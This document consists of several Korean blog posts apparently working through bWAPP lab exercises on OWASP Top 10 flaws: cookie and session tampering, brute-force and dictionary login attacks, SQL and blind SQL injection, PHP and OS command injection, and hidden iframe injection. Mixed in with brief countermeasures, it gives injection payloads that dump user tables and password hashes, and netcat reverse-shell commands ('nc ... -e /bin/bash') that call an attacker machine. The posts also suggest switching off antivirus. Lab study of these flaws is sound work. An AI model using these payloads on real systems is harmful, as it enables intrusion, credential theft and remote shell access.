민감 데이터 노출은 클라이언트와 서버가 통신할 때 SSL 을 사용하여 중요한 정보를 보호하지 않을때 발생하는 취약점

특히 사용자가 민감한 정보를 입력할 때 암호화 저장이 이루어지지 않으면 공격자가 중간에서 정보를 탈취할 수 있다.

또한 데이터 처리와 암호화 저장이 클라이어언트에서 이루어질 경우에도 공격자는 클라이언트 PC를 장악하여 정보 탈취가 가능하므로 데이터 처리와 암호화는 반드시 서버측에서 이루어져야 한다.


Base64 인코딩 복호화 -Secret


Base64는 다른 이진 데이터 변환 규칙과 관계 없이 아스키코드만으로 데이터를 인코딩 하므로 플랫폼 제한 없이 사용할 수 있다.


버프스위트로 HTTP요청을 가로챈 후 쿠키 값을 확인하면 'secret' 이라는 변수가 있는데, secret 변수에는 알 수 없는 문자열이 입력되어 있다


secret 변수의 내용은 Base64 형식으로 인코딩되어 있다.



디코딩할수있는 사이트에 입력한후 힌트의 원문을 출력한다 




대응방안 


원문의 문자열을 길게하고, 좀 더 안전한 해시 함수를 사용하여 보안 위험을 줄이는 것이 좋다



HTTP 페이지 내 평문 데이터


계정 및 비밀번호와 같은 개인정보를 처리하는 페이지에서 네트워크 프로토콜 보안은 필수다


[A2] 세션 관리 취약점 


세션은 웹 사이트에서 서비스를 제공할 때 사용자의 로그인을 유지하기 위하여 사용한다.

세션 관리가 소홀하면 세션을 가로채서 재사용하는 공격이 가능하다




관리자 페이지 접근 -하


URL 주소에 포함된 전달 값을 조작하여 간단히 우회가 가능하였다

URL에 admin 변수를 노출하였다 

URL 정보나 쿠키 값에 admin 이라는 추측하기 쉬운 변수가 있다면 여러 값으로 조작을 시도하여 보는 것이 좋다





admin=1 값을 넣으니까 페이지 잠금을 풀었다는 메시지를 출력한다.

매우 간단한 공격이지만 아직도 이런 공격이 가능하므로 전달되는 값을 유심하게 살펴보아야 한다




관리자 페이지 접근 -중



check the cookies  값을 버프스위트로 확인해보면

Cookie값을 가지고올수 있다.

보면 admin=0 으로 되어있는데 


이렇게 1로 수정하고 프록시 잡아둔거 푸니까 






락이 풀린걸 확인할수 있다



대응방안

난이도 상에 접속하면 페이지가 잠겨있으며 힌트는 데이터베이스 관리자에게 연락하라는 내용의 메시지가 뜬다.


소스코드를 확인해보면




이전 단계와 다르게 admin 변수의 값이 1인지 체크하고 세션 정보가 admin 계정인지 검사한후 페이지의 잠금을 해제한다.





URL 주소 조작을 통한 세션우회


쿠키 값을 url에 출력한다


PHPSESSID=6b7faf5b0028fd746eb029df24b4febe




이제 이 쿠키값을 가지고 다른 브라우저 로그인창에서 세션값 조작만으로 아이디 비밀번호 없이 로그인을 해보면





인증 단계를 거치지 않고 로그인이 가능하다


비밀번호 무차별 대입 공격(Brute forcer)



비밀번호 무차별 대입 공격은 사용자에 대한 계정 정보를 획득하기 위하여 비밀번호로 입력 가능한 모든 문자 조합을 입력하여 사용자의 계정과 비밀번호가 일치할 때까지 대입하는 공격이다.

자동화 도구를 사용해서 공격할 것이고 무차별 대입 공격을 할 때는 웹 사이트의 비밀번호 정책을 파악한 다음 조합할 문자의 구성과 최소 문자열 길이를 정한다.

문자와 숫자가 조금만 복잡해져도 가능한 조합의 가지 수가 많아지기 때문에 공격에 성공하기 전까지 시간이 많이걸린다


버프스트위의 Intruder 기능을 사용한다.


 Intruder 기능을 사용하기 위해

Send to intruder 을 해서 intruder이쪽으로 값을 전달했다.


 intruder 탭에서 positions 탭을 클릭해서 §로 Payload가 들어갈 위치를 지정한다.

요청에 실리는 password 변수에만 Payload를 실을 수 있도록 위치를 변경한다



이렇게 위치를 변경해주고







공격 타입과 최대 길이를 지정해서 start attack 버튼을 클릭하면 공격을 할 수 있다.




대응방안 


아이디와 비밀번호를 알고 있어도 캡챠를 입력하게 한다. 따라서 무차별 대입 공격이 불가능하다

이렇게 값을 입력해야 로그인을 하게하면 CAPTCHA 값까지 무작위 공격을 할수 없게되어 대응을 할 수 있다.


비밀번호 사전 대입공격


비밀번호 사전 대입 공격은 무차별 대입 공격과 비슷해 보이지만 비밀번호를 설정하는 사람들이 선호하는 문자열을 대입하는 공격이다. 

인증 과정의 암호화가 복잡하여도 사용자가 설정하는 비밀번호가 간단하다면 공격자는 다른 사용자로 쉽게 로그인 할 수 있다.

따라서 사용자들이 가장 즐겨 쓰는 비밀번호를 마치 사전처럼 기록한 파일에 있는 문자열을 하나씩 대입하여 공격을 시도한다.

문자열을 하나씩 대입하여 공격 결과를 확인하기 때문에 무차별 대입 공격보다는 공격 속도가 빠르다. 

하지만 사전 파일에 비밀번호 정보가 없다면 공격은 실패한다.



사전공격에 사용할 비밀번호 목록 파일을 다운로드한다.

FuzzDB를 다운로드 하여 사용한다.

FuzzDB는 퍼징에 사용되는 입력 값을 모은 데이터베이스이다. 아까 비밀번호 무차별 대입 공격 처럼 버프스위트에 Intruder기능을 사용해서 공격 해볼것인데

FuzzDB는 구글에서 간단히 받아서 사용이 가능하다


근데 다운로드 할때 백신 프로그램을 깔아두면 바이러스가 발견된다고 삭제당한다.

백신을 잠깐 끄고 받아서 압축을 풀면 받을수 있다



그리고  비밀번호 무차별 대입 공격  처럼 버프스위트를 설정해주고 어택 하면 공격이 가능하다 



 



 



'OWASP top 10 ' 카테고리의 다른 글

[A3] 민감 데이터 노출  (0) 2017.12.15
[A2] 세션 관리 취약점  (0) 2017.12.13
[A2] 인증 결함 -안전하지 않은 로그인 형식  (0) 2017.12.13
[A1] Blind SQL 인젝션  (0) 2017.12.12
[A1] SQL 인젝션  (0) 2017.12.03

인증결함


인증 결함 이란 인증에 필요한 사용자의 계정 정보를 노출하는 취약점으로, 보통 웹 페이지의 HTML 코드에 계정 정보를 노출하거나 인증을 GET 메서드로 요청하여 URL에 계정 정보가 노출한다. 

또한 웹 사이트에 가입할 때 추측할 수 있거나 무차별 대입 공격이 가능한 비밀번호 입력을 허용하는 경우도 포함한다.

이외에도 비밀번호 찾기 기능에서 사용자의 계정 정보를 노출하기도 한다.


1.ba_insecure_login_1.php(하)


웹 페이지가 안전하지 않은 로그인 형식을 사용하는지 점검 한다.




웹페이지의 소스코드를 분석해보면



전송 방식은 POST 방식을 사용하고 있고 action 으로 bWAPP/ba_insecure_login_1.php 여기로 전송해주고있다

코드를 분석해 보면 딱봐도 font 에 값이 써있는데 이걸 black 으로 바꿔주면




로그인창 옆에 그대로 출력되는걸 볼수있다.


각각 입력하고 로그인해주면 로그인이 된다.




1.ba_insecure_login_1.php(중)


난이도 중은 이미 값이 입력이 되어있다


개발자 도구로 우선 로그인창의 form 태그를 분석해봤는데 직접적으로 얻을 수 있는 정보는 없고 비밀번호를 클릭했을때 unlock_secret() 만 호출되는것을 볼수있다.


이제 unlock_secret() 함수를 소스보기를 통해서 찾으면 


이렇게 비밀번호를 만드는 복호화 함수 정보가 모두 노출되어 있었다. 


조건문 위의 secret  변수에 d,j,k,q,x,t,o,g,h,d,p 라는 문자열이 대입되어 있다.

unlock_secret 함수는 charAt 함수를 호출한다. 


즉 secret 변수에 대입된 값은 문자가 아닌 var 타입으로 선언된 변수다. 같은 변수 명이 여러 번 등장하는 것으로 보아 변수에 입력한 값을 계속 덮어 쓰고 있다. 

가장 마지막에 선언된 변수에 해당하는 값으로 원래 secret 내용을 찾는다


var bWAPP = "bash update killed my shells!"


첫번째 d를 찾아보면 charAt(23) 즉 문자열 24번째 존재하는 값이다

저 위에서 첫 번째 문자는 h이다


다음 두번째 j를 보면 charAt(5) 이다 즉 6번째 존재하는 값이다 

두번째 문자는 u


다음 k를 확인하면 charAt(14) 즉 15번째 존재하는 값이다 

세번쨰 문자는 l


....

이런식으로 다 구해주면 

hulk smash 값이 출력이 된다




대응 방안 

난이도 상에서는 난이도 하 처럼 로그인 폼에서  color 태그로 숨겨 놓은것도 소스보기를 통해서도 아무런 힌트를 얻을수 없었다 

페이지 정보에 값을 노출하면 안된다.








'OWASP top 10 ' 카테고리의 다른 글

[A2] 세션 관리 취약점  (0) 2017.12.13
[A2] 인증 결함 -비밀번호 무차별 대입 공격  (0) 2017.12.13
[A1] Blind SQL 인젝션  (0) 2017.12.12
[A1] SQL 인젝션  (0) 2017.12.03
[A1] SSI 코드 인젝션  (0) 2017.12.02

Blind SQL 인젝션


쿼리의 결과를 참과 거짓만으로만 출력하는 페이지에서 사용하는 공격이다.

출력 내용이 참과 거짓 밖에 없어서 데이터베이스의 내용을 추측하여 쿼리를 조작한다.


1.Boolean Based

1. 싱글쿼터 ' 를 입력하여 SQL 인젝션이 가능한지 알아본다. SQL 인젝션 취약점이 있는 경우 SQL 오류 메시지를 출력한다.


이렇게 문법 오류가 탐지되었다는건  SQL 인젝션 공격이 가능하다는 것이다


이제 항상 참으로 만드는 쿼리를 삽입한다


SQL 인젝션 결과 해당 영화가 존재한다는 메시지를 출력하는데, 이는 결과가 참 일 때 웹 페이지에서 출력하는 메시지다.

이때 검색란을 통하여 Boolean Based SQL 인젝션 공격이 가능하다.



결과가 거짓일 때는 다른 결과가 나온다 

이걸 확인해서 쿼리의 참과 거짓을 판별할 수 있다.





UNION SELECT 구문을 입력하면 SQL 문법이 틀리다는 메시지를 출력한다. SQL 문법 오류 메시지가 아닌 참인 메시지를 출력할 때 까지 칼럼 수를 늘려 입력한다.




그럼 ' UNION SELECT ALL 1,2,3,4,5,6,7# 총 7개의 칼럼을 넣어야만 오류가 나지 않는걸 확인할수 있다.


Blind SQL 인젝션에 사용할 쿼리는 항상 참이 되는 쿼리와 정보를 추출할 쿼리를 조합하여 입력한다.

'or 1=1  쿼리로 서버의 정상 쿼리와 연결한 뒤 length 함수와 substring 함수를 사용하여 데이터베이스 내용을 추측한다.


1.우선 length 함수를 사용하여 데이터 베이스 이름의 길이를 추측한다


'or 1=1 and length(database())=5# 5를 입력하자 참인 문구가 실행되는걸 보니 database() 의 길이는 5다


이제 글자를 확인해야하는데 


'or 1=1 and substring(database(),1,1)='a'# (거짓)

'or 1=1 and substring(database(),1,1)='b'#(참)


쿼리 결과를 확인하면  database() 함수의 첫 글자가 b인걸 확인할수있다


다음 글자는 

'or 1=1 and substring(database(),2,1)='a'#

'or 1=1 and substring(database(),2,1)='b'#

이렇게 값을 하나하나 입력해서 두번째 글자를 찾을수 있다


만약 ' 싱글쿼터가 필터링으로 막힌 경우에는

'or 1=1 and ascii(substring(database(),1,1))=98#

아스키 값을 입력해서 구할수 있다.


나온 아스키 코드 값들은 아스키 코드 표를 보고 하나하나 비교해도 괜찮고

mysql 내장함수에 있는 ascii 코드 함수를 사용해도 값을 비교할수있다 


만약 ascii substring 모두 필터링을 당한경우

ascii 는 hex(),ord() 로 우회가 가능하고

substring 는 substr로 우회가 가능하다


우회 방법에 대해서는 대응방안을 설명하면서 다시 정리하겠다.




다음은 테이블 명의 길이를 알아내는 쿼리인데

MySQL 버전이 5 이상이므로 MySQL의 메타데이터인 information_schema를 사용한다. where 조건으로 테이블의 타입을 지정하면 information_schema에 있는 메타 데이터 저장용 테이블을 제외하게 된다.


limit 연산자로는 조건에 맞는 테이블 중 위에서부터 선택할 수 있다. 즉,다음 쿼리에서는 bWAPP 데이터베이스에 저장된 테이블 중 첫 번째 테이블 하나를 출력한다.


'or 1=1 and length((select table_name from infromation_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#


length로 함수의 길이가 4라는걸 알았고


ascii 함수와 substring 함수를 이용하여 한글자 한글자 확인할 수 있다


'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))<100#


첫 글자를 구하는 쿼리이다

이렇게 숫자를 정해서 하나하나 비교해 가다보면 (비교는 참,거짓 문구로 비교)



'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))=98#


98을 입력하니 참인 문구가 나왔다


이말은 table_name 의 첫번째 칼럼의 첫번째 이름의 ascii 코드 값이 98 즉 문자 b라는 소리이다


이렇게 처음 테이블 이름부터 하나하나 검색해 가다보면 네 번째 테이블이 user 라는 정보를 알게 된다


user 테이블 칼럼 명의 길이를 파악하기 위하여 다시 length 함수를 사용하고 limit 연산자로 첫 번째 칼럼으로 지정한다 


'or 1=1 and length((select column_name from information_schema.columns where table_name='user' limit 0,1))=2#


길이가 2일때 참인 메시지를 출력한다


이제 ascii와 substr을 이용하여 값을 하나하나 구해주면 된다



 SQL 인젝션


SQL 인젝션은 사용자가 입엵한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점이다.

SQL 인젝션은 사용자가 데이터를 입력할 수 있는 곳 어디서든 발생할  수 있고 공격자는 SQL 쿼라를 변수에 입력하여 데이터베이스 정보를 획득하거나 시스템 내부를 파악한다.



1.GET/Search

위 실습 페이지는 영화 제먹을 검색하고 데이터베이스에서 조회한 결과를 보여준다


우선 '을 입력하여 SQL 인젝션이 가능한지 알아본다 

취약점이 존배하는 경우 위에 보이는 것과 같은 오류를 출력한다  작은 따옴표를 입력하는 이유는 데이터베이스에서 작은따옴표로 문자 데이터를 구분하기 때문이다. 


오류 문자에는 서버 종류가 포함되는데 이걸 잘 확인해야한다 서버 종류에 따라서 SQL 구문이 다르므로 가장 먼저 서버 정보를 확인한다

'MYSQL' 서버라는걸 확인한다


'or 1=1--

'or 1=1#


주석 문자를 무엇을 쓰는지 확인하기 위해서 위에 두 코드를 입력해 보았다

앞 쿼리의 내용과는 상관없이 1=1이 항상 참이 되기때문에 주석 문자만 일치하면 모든 영화 자료가 출력될것이다 



'or 1=1--

'or 1=1--은 오류가 나온다



'or 1=1#


'or 1=1# 을 입력하니 모든 영화 정보가 출력되는것을 볼수있다. 

따라서 주석문자는 #을 사용한다


더 자세한 정보를 알아내기 위하여 UNION SELECT 구문을 사용한다

UNION은 SELECT문이 둘 이상일 때 이를 결합하여 두 질의의 결과를 하나로 변환한다

기본 페이지에는 데이터베이스의 특정 내용을 출력하는 기존 쿼리가 있어서 SQL 인젝션으로 데이터베이스의 내용을 파악할려면 둘 이상의 SELECT 문을 결합하는 UNION 구문이 필요하다


'UNION SELECT ALL 1#

UNION 구문을 사용하려면 이전 쿼리에서 사용하는 SELECT문의 칼럼 수가 일치해야한다 이는 두 질의 결과를 하나의 테이블로 합치기 때문이다.


칼럼수가 일치하지 않으니 오류가 출력된다 columns 의 숫자가 다르다는 문법이다

칼럼의 수를 추가하여 하나하나 검색하면

'UNION SELECT ALL 1,2,3,4,5,6,7# 

기존 쿼리에서 사용하는 칼럼 수와 일치하므로 해당 쿼리가 참이 되어 검색 가능한 모든 영화 제목을 테이블에 출력한다



위에서 언급한것처럼 버전정보나 서버의 정보에 따라서 쿼리가 달라진다 

버전 정보를 확인하기 위해서는 시스템 변수나 시스템 함수를 활용하여 쿼리를 입력한다.


0' UNION SELECT ALL 1,@@version,3,4,5,6,7#

시스템에서 보이는 칼럼은 2,3,4,5번에 위치한 칼럼이기 때문에 이중 아무곳이나 시스템 변수를 추가해준다

버전 정보를 확인할수 있다


SQL 인젝션으로 데이터베이스의 정보를 파악할 수 있는 변수와 함수는


1.database ( ) 데이터베이스 명을 알려주는 함수

2.user( ) 현재 사용자의 아이디

3.system_user() 최고 권한 사용자의 아이디

4.@@version 데이터 베이스 서버의 버전

5.@@datadir  데이터베이스 서버가 존재하는 디렉터리


같은 방식으로 하나하나 실습을 해보면 



0' UNION SELECT ALL 1,database( ),3,4,5,6,7#


데이터베이스 bWAPP 이름을 알수 있다 



0' UNION SELECT ALL 1,user( ),3,4,5,6,7#

유저 이름을 확인할수있다.



0' UNION SELECT ALL 1,system_user(),3,4,5,6,7#

최고 관리자야 어짜피 root 니까 root가 출력되고




0' UNION SELECT ALL 1,@@datadir,3,4,5,6,7#


디렉토리도 확인할수 있다.





테이블 명을 확인할려면

0' UNION SELECT ALL 1,table_name,3,4,5,6,7 from information_schema.tables#



출력된 테이블 명을 보면 users가 있는데 계정정보가 들어있다고 추측할 수 있다.





따라서 user 정보만 더 알고싶으니 쿼리를 다시 작성하면 

0' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#



칼럼 내용을 확인하려면 페이지에 노출되는 칼럼 순서에 맞춰 확인하고 싶은 칼럼명을 입력한다

concat 함수를 사용하여 칼럼 명을 인자로 입력하면 여러 칼럼의 내용을 볼 수 있다.

0' UNION SELECT ALL 1,concat(id,login),password,email,secret,6,7 from users#


대응방안


작은 따옴표(')를 입력하여도 오류 메시지가 나오지 않으면 SQL 인젝션이 불가능하다

vi sqli_1.php 파일을 살펴보면




sqli_check_2 로 우회하는것을 볼수있다


sqli_check_2 함수를 살펴보면 



mysql_real_escape_string($data); 

함수로 우회하는것을 볼수있는데 이함수는 사용자 입력값에 SQL 문법에서 사용하는 특수 문자가 있을 경우 백슬래시를 붙여 입력 데이터를 SQL 문법으로 인식하지 않게 방어한다.

여기서 우회하는 문자는 'NULL, \n,\r,\,',",^Z' 이므로 작은따옴표를 입력하면 백슬래시가 붙어 SQL쿼리로 인식하지 않는다 



2.POST/Search

POST 방식으로 진행되기 때문에 URL에서 변수값은 알수없다 하지만 검색란에 사용되는 변수가 취약함으로 검색란에서 SQL 쿼리를 입력하면 취약점 여부를 파악이 가능하다


프락시 도구로 변수부터 확인하고 SQL 인젝션을 해보면



HTTP요청을 탈취하면 변수를 확인할수있는데 여기선  title 변수와 action 변수를 사용한다

이제 ' 를 사용하여 SQL 인젝션이 가능한 변수를 검색해 보겠다 

변수에 '를 입력했을때 오류가 나면 SQL인젝션이 가능한다는 것을 의미한다 



title 변수에 ' 을 삽입하면 문법오류가 발생한다 tilte이 SQL 인젝션에 취약한 변수인것을 확인할수있다

action은 정확하게 출력된다



다음으론 쓰이는 주석을 파악해야한다

위에서 GET 방식에서 사용했던 코드('or 1=1-- 'or 1=1#)를 title 방식에 입력해'보면 

검색 결과 두 쿼리 모두 참인 결과가 나온다. 그러나 아무것도 입력하지 않았을 때도 모든 영화가 출력되는데, 이는 두 쿼리 중 한 쿼리만 

주석 처리된 결과다. 따라서 다른 인젝션 공격을 통하여 주석 문자를 확인한다



칼럼의 종류를 알고 싶어서 아래와 같은 코드를 입력하면 

' UNION SELECT ALL 1--

-- 주석은 비박스의 데이터베이스에서 주석 기능을 하지 못한다



' UNION SELECT ALL 1# 

SQL 구문 오류가 아닌 칼럼 수가 맞지 않는다는 오류 메세지다. #은 주석 기능을 한다는 뜻이다 

오류 메시지가 나오지 않게 칼럼 수를 하나씩 늘려 웹페이지에서 호출하는 기존 쿼리와 칼럼수를 맞춰준다



칼럼의 숫자를 늘려 하나씩 검색해본 결과 칼럼의 숫자는 7개인것을 알수있다.

'UNION SELECT ALL 1,2,3,4,5,6,7# 


결과가 나오고 인젝션 결과 페이지가 출력되는데 1,6,7,번째 있는 칼럼은 페이지에서 확인되지 않는다.


데이터 베이스 버전을 알기 위해서 

0' UNION SELECT ALL 1,@@version,3,4,5,6,7# 변수를 입력하면 

버전정보가 출력되고 데이터베이스 버전이 5.0 이상인것을 확인할수있다


0' UNION SELECT ALL 1,table_name,3,4,5,6,7 from information_schema.tables#

테이블 이름을 확인하고



0' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

테이블 이름중에 users가 있으니 이 테이블을 검색해보면 원하는 칼럼을 얻을수 있을것이다





0' UNION SELECT ALL 1,id,login,password,secret,6,7 from users#





비밀번호 값을 알아 낼수 있는데 해시 값으로 변환된 비밀번호를 평문으로 변환하여 사용자 계정을 탈취한다

평문으로 변환하는 사이트는 https://crackstation.net/ 사용하거나 존 더 리퍼 도구를 사용하면 된다 

간단하게 사이트를 통해 비밀번호를 알아내면 




Result 값인 bug를 확인할수 있다



대응방안


작은 따옴표(')를 입력하여도 오류 메시지가 나오지 않으면 SQL 인젝션이 불가능하다

vi sqli_1.php 파일을 살펴보면




sqli_check_2 로 우회하는것을 볼수있다


sqli_check_2 함수를 살펴보면 



mysql_real_escape_string($data); 

함수로 우회하는것을 볼수있는데 이함수는 사용자 입력값에 SQL 문법에서 사용하는 특수 문자가 있을 경우 백슬래시를 붙여 입력 데이터를 SQL 문법으로 인식하지 않게 방어한다.

여기서 우회하는 문자는 'NULL, \n,\r,\,',",^Z' 이므로 작은따옴표를 입력하면 백슬래시가 붙어 SQL쿼리로 인식하지 않는다 




3.GET/Select






URL을 보면 GET 방식인걸 알수있고 또 소스보기를 통해 사용되는 변수를 파악할수있다




변수는 movie 이고  숫자형으로 입력 값을 받는다


숫자형만 입력하는 변수에 SQL 인젝션을 시도할 때는 SQL 구문만 필요한데, 작은 따옴표를 입력하면 SQL 구문 오류가 난다

주석 문자는 #을 사용하지만 주석 문자를 사용하지 않아도 공격이 가능하다

앞에서 확인한 내용으로 칼럼의 숫자가 7개라는걸 파악하고있어서 바로 SQL 코드를 삽입해 보았다 

' 를 사용하면 오류가 난다고 했으니까 제외하고 또 내가 필요한 값 빼고는 null 값을 넣어 데이터가 나오지 않게 한다


movie 변수에 조작된 SQL 코드를 삽입하면

0 union select null,database(),@@version,@@datadir,null,null,null



데이터 베이스 버전 정보를 확인할수있다



0 UNION SELECT null,table_name,null,null,null,null,null from information_schema.tables

테이블 이름을 알고싶어서 information_schema를 사용해서 테이블 이름을 살펴봤는데 하나밖에 출력이 안된다

따라서 MySQL 데이터베이스에 있는 기본 테이블인 'mysql'과 information_schema 에 포함되지 않는 테이블 스키마, 테이블 명, 칼럼명을 확인하려면

0 union select null,table_schema,table_name,column_name,null,null,null from information_schema.columns where table_schema!='mysql' and table_schema!='information_schema'

같은 구문을 입력한다.


table 스키마는 bWAPP 이고  테이블은 blog 컬럼은 id 이다 




대응방안(보완 하기) 

movie 변수에 작은따옴표나 UNION SELECT 구문을 입력하여도 SQL구문 오류 메시지가 아닌 영화를 찾을 수 없다는 메시지가 출력한다,

데이터 베이스에서 칼럼을 개별로 호출하고 연결하는 방식을 사용하여 SQL 인젝션을 대응한다




POST/Select


SSI(Server Side Includes)

-서버측에서 해석되는 문서를 지칭한다. 

보통 HTML 문서는 웹 서버에서 아무런 처리 없이 클라이언트측으로 전송해 주지만 SSI 문서에 대해서는 클라이언트 측으로 보내주기 전에 웹 서버가 HTML 문서 안에 있는 내용 중에 웹 서버가 인식하는 특별한 명령어들을 처리한 후에 전송해 주게 된다. 

SSI 문서는 CGI처럼 동적인 문서를 생성하는데 사용될 수 있고 현재 날짜, 파일의 최신 갱신일, 다른 문서의 포함 등 제약된 형태의 동적인 문서를 생성해 낼 수 있다

SSI를 사용하는 웹 페이지의 경우 SSI 지시어를 처리하기 위한 '.shtml' 확장자 파일을 생성한다 

SSI 지시어의 형식은 다음과 같은데, HTML의 주석과 비슷한 형태로 SSI 기능을 사용하지 않는 경우 웹 브라우저는 SSI 지시어를 주석으로 처리한다

<!--#element attribute=value-->


'OWASP top 10 ' 카테고리의 다른 글

[A1] Blind SQL 인젝션  (0) 2017.12.12
[A1] SQL 인젝션  (0) 2017.12.03
[A1] PHP 코드 인젝션  (0) 2017.12.02
[A1] OS 커맨드 인젝션(다시 공부하기)  (0) 2017.12.02
[A1] iframe 인젝션  (0) 2017.12.02

PHP 코드 인젝션


페이지가 GET 메서드로 요청하기 때문에 URL에 message 라는 변수를 노출한다


PHP에서 exec()함수나 eval() 함수를 사용한 경우 세미콜론 ; 을 사용하여 다른 함수를 실행하는 취약점이 있다.

세미콜론과 system 함수를 사용해서 취약점을 파악할수있다

system 함수는 문자열 형태의 명령어를 인자 값으로 받아서 해당하는 명령어를 실행한다


http://192.168.43.22/bWAPP/phpi.php?message=Success;system("whoami")


message 변수에 입력한 문자열 뒤에 'whoami' 명령어 실행 결과를 출력한다. 

whoami 명령어는 시스템에 로그인한 사용자의 이름을 출력한다


cat 명령어를 사용하면 파일의 내용을 확인할수있고 shell_exec 함수도 사용할 수 있다.

공격자 보다 상위 권한의 사용자만 접근할수 있는 파일인 경우에는 결과를 출력하지 않는다.

passwd 파일은 웹 권한으로 열람이 되지만 , shadow 파일은 열람되지 않는다

열람하려면 시스템에 침투하여 권한 상승 공격 토드를 활용해야 한다


*공격 코드

http://192.168.43.22/bWAPP/phpi.php?message=Success;system('cat /etc/passwd')




넷캣을 사용하면 스크립트 파일을 서버에 추가할 수도있다.


칼리 리눅스에서 nc를 키고 기다리고

http://192.168.43.22/bWAPP/phpi.php?message=Success;system('nc 192.168.80.255 666 -e /bin/bash')

사이트에 접속하면 정보를 받아올수있다 







대응방안

htmlspecialchars함수로 입력값을 우회한다.

htmlspecialchars함수는 php에서 제공하는 기본 함수로,HTML에서 사용하는 특수문자를 UTF-8로 변환한다

htmlspecialchars에서 반환하는 특수문자는 &,",',<,> 이다

따라서 htmlspecialchars 함수를 사용하여 태그에 사용되는 문자들을 인식하지 않게 인코딩하면 대응방안으로 사용할수있다











'OWASP top 10 ' 카테고리의 다른 글

[A1] SQL 인젝션  (0) 2017.12.03
[A1] SSI 코드 인젝션  (0) 2017.12.02
[A1] OS 커맨드 인젝션(다시 공부하기)  (0) 2017.12.02
[A1] iframe 인젝션  (0) 2017.12.02
[A1] HTML 인젝션  (0) 2017.12.02

OS 커맨드 인젝션


OS 커맨드 인젝션 

취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격이다.

보통 웹 페이지에서 서버의 시스템 셰을 호출할 때 관리자가 의도한 명령어가 아닌 다른 명령어를 주입하여 서버 정보를 알아낸다.


위 사이트를 살펴 보면 DNS 주소를 출력한다. DNS를 조회하는 시스템 명령어인 nslookup 을 사용한다


디렉토리를 확인하는 명령어 ls 를 검색해보면

|ls ../../../

서버 시스템의 가장 상위에 있는 디렉터리 정보를 출력한다


OS 커맨드 인젝션에 넷캣 명령어를 입력하면 비박스의 서버 정보를 외부에서 파악할수 있다


| nc 192.168.80.128 666 -e /bin/bash


sleep 1000 | telnet 192.168.43.22 5555 | /bin/sh | telnet 192.168.4.22 6666


칼리 리눅스에서 nc설정을 켜두고 기다리면 넷캣을 실행한 터미널에 명렁어로르 입력하면 서버 정보를 확인 할 수 있다 



netcat 정의:

백도어 쉘:NC로 특정 포트를 listening 상태로 열어놓고, 해당 포트로 들어오는 사용자에게 특정 권한 을 부여하는 것이 가능하다.


리버스 쉘

A 시스템이 NC로 특정 포트를 listening 상태로 열어놓고 있는 경우 B 시스템이 해당 포트로 접속하여 A 시스템에게 자신의 권한을 부여하는 방식


Kali : nc -lvp <열어둘 포트번호>

XP : nc <권한을 부여해줄 장비의 IP주소> <포트번호> -e cmd.exe



대응방안

htmlspecialchars함수로 입력값을 우회한다.

htmlspecialchars함수는 php에서 제공하는 기본 함수로,HTML에서 사용하는 특수문자를 UTF-8로 변환한다

htmlspecialchars에서 반환하는 특수문자는 &,",',<,> 이다

따라서 htmlspecialchars 함수를 사용하여 태그에 사용되는 문자들을 인식하지 않게 인코딩하면 대응방안으로 사용할수있다



'OWASP top 10 ' 카테고리의 다른 글

[A1] SSI 코드 인젝션  (0) 2017.12.02
[A1] PHP 코드 인젝션  (0) 2017.12.02
[A1] iframe 인젝션  (0) 2017.12.02
[A1] HTML 인젝션  (0) 2017.12.02
[OWASP] 비박스 환경 구성하기  (0) 2017.12.01

iframe 인젝션

iframe은 HTML 문서 안에서 또 다른 HTML 문서르 출력하는 태그로 어느 위치든 상관없이 인젝션 공격을 할 수 있다.

HTML 인젝션 중에서도 공격에 자주 사용된다. HTML 인젝션에서 사용하는 태그와 마친가지로 페이지 내에  iframe태그를 주입하는데 주로 악성 URL을 삽입한 후 사이즈를 0으로 설정하여 숨기는 방법을 사용한다.

 

 

1). iframe 인젝션 공객

 


위 페이지는 GET 방식으로 데이터를 전송받음으로 URL에 변수를 노출한다

변수는 'ParamUrl' 'ParamWidth' 'ParamHeight' 총 세 가지로 이루어져 있다 'ParamUrl' 은 연결할 주소를 받아오고 'ParamWidth' 'ParamHeight 내용과 출력할 크기를 지정한다



소스를 확인해 보니까 iframe 태그를 사용하여 bWAPP 디렉토리에 있는 robots.txt 파일의 내용을 추출한다


 'ParamUrl' 변수의 값은  robots.txt 이다 이 변수에 입력한 내용이 iframe태그에 추가되어 기존 iframe 태그를 강제로 닫고 URL에 노출된 변수에 악의적인 iframe 태그를 주입하는 방법을 사용한다



iframe 태그로 사용자 모르게 악의적인 HTML 페이지를 출력하는 공격을 하기위해서는 

우선 웹서버에서 HTML  파일이 하나 있어야한다 

비박스에서 /var/www/bWAPP  경로를 들어가서 bad.html 을 생성한다

생성권한은 루트에만 있으니 루트권한으로 들어가서 파일을 생성한다


bad.html



HTML 페이지를 만들고 나면 

'ParamUrl' 변수에 악의적인 HTML 페이지를 호출하는 iframe 태그를 입력한다.

http://192.168.43.22/bWAPP/iframei.php?ParamUrl=robots.txt"></iframe><iframe src="bad.html" width="250" heigth="250"></iframe>&ParamWidth=250&ParamHeight=250



중간에 </iframe> 을 닫아주고 내가 공격하고 싶은 악의적인 주소를 다시 입력해주는 방식으로 공격하였다

bad.html 이 호출되어서 아까 만들어둔 alert 창이 출력이 되었고 





개발자 도구로 소스를 확인해보면


정상적인 iframe태그는 닫히고 내가 입력한 iframe 태그가 추가되었다


사용자 몰래 공격하기 위해 width 속성과 heigth 속성을 0으로 수정하였다

http://192.168.43.22/bWAPP/iframei.php?ParamUrl=robots.txt"></iframe><iframe src="bad.html" width="0" heigth="0"></iframe>&ParamWidth=250&ParamHeight=250


그럼 위에 출력되던 iframe injection 이 없어질 것이다 그래도 아직 남은 height와 width 속성을 없애기 위해

깊게 관찰하지 않으면 알수 없도록 스크롤의 크기를 크게 두는 방법으로 없애보면

192.168.43.22/bWAPP/iframei.php?ParamUrl=robots.txt" width="250" height="1000"></iframe><iframe src="bad.html" width="0" heigth="0"></iframe>&ParamWidth=250&ParamHeight=250



